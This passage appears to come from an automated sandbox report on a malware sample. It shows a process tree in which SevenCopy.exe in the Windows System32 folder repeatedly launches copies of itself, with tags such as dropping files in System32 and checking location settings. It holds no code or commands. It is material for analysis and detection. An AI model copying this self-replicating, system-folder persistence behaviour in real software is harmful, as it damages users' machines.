C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"191⤵
- Drops file in System32 directory
PID:7928 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"192⤵PID:9356
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"193⤵PID:16916
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"194⤵
- Checks computer location settings
PID:16924 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"195⤵PID:9708
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"196⤵PID:17824
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"197⤵PID:16560
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"198⤵PID:17016
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"199⤵
- Checks computer location settings
- Drops file in System32 directory
PID:11164 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"200⤵PID:4928
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"201⤵
- Checks computer location settings
PID:10936 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"202⤵PID:9040
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"203⤵PID:5712
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"204⤵PID:4984
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"205⤵PID:15300
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"206⤵
- Drops file in System32 directory
PID:15308 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"207⤵
- Checks computer location settings
PID:15412 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"208⤵PID:10816
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"209⤵PID:1936
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"210⤵PID:10940
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"211⤵PID:10968
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"212⤵PID:2736
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"213⤵PID:7556
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"214⤵PID:14812
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"215⤵
- Drops file in System32 directory
PID:620 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"216⤵
- Drops file in System32 directory
PID:13440 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"217⤵
- Drops file in System32 directory
PID:17196 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"218⤵PID:14876
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"219⤵PID:14840
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"220⤵
- Drops file in System32 directory
PID:14612 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"221⤵PID:1876
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"222⤵PID:16688
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"223⤵
- Checks computer location settings
PID:17140 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"224⤵PID:17436
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"225⤵
- Drops file in System32 directory
PID:17160 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"226⤵PID:15432
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"227⤵PID:14452
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"228⤵
- Checks computer location settings
PID:14932 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"229⤵PID:14028
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"230⤵PID:7588
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"231⤵PID:696
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"232⤵PID:16232
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"233⤵PID:15336
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"234⤵
- Drops file in System32 directory
PID:8352 -
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"235⤵PID:15664
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"236⤵PID:16528
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"237⤵PID:16996
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"238⤵PID:560
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"239⤵PID:10004
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"240⤵PID:4580
-
C:\Windows\System32\SevenCopy.exe"C:\Windows\System32\SevenCopy.exe"241⤵PID:16584
-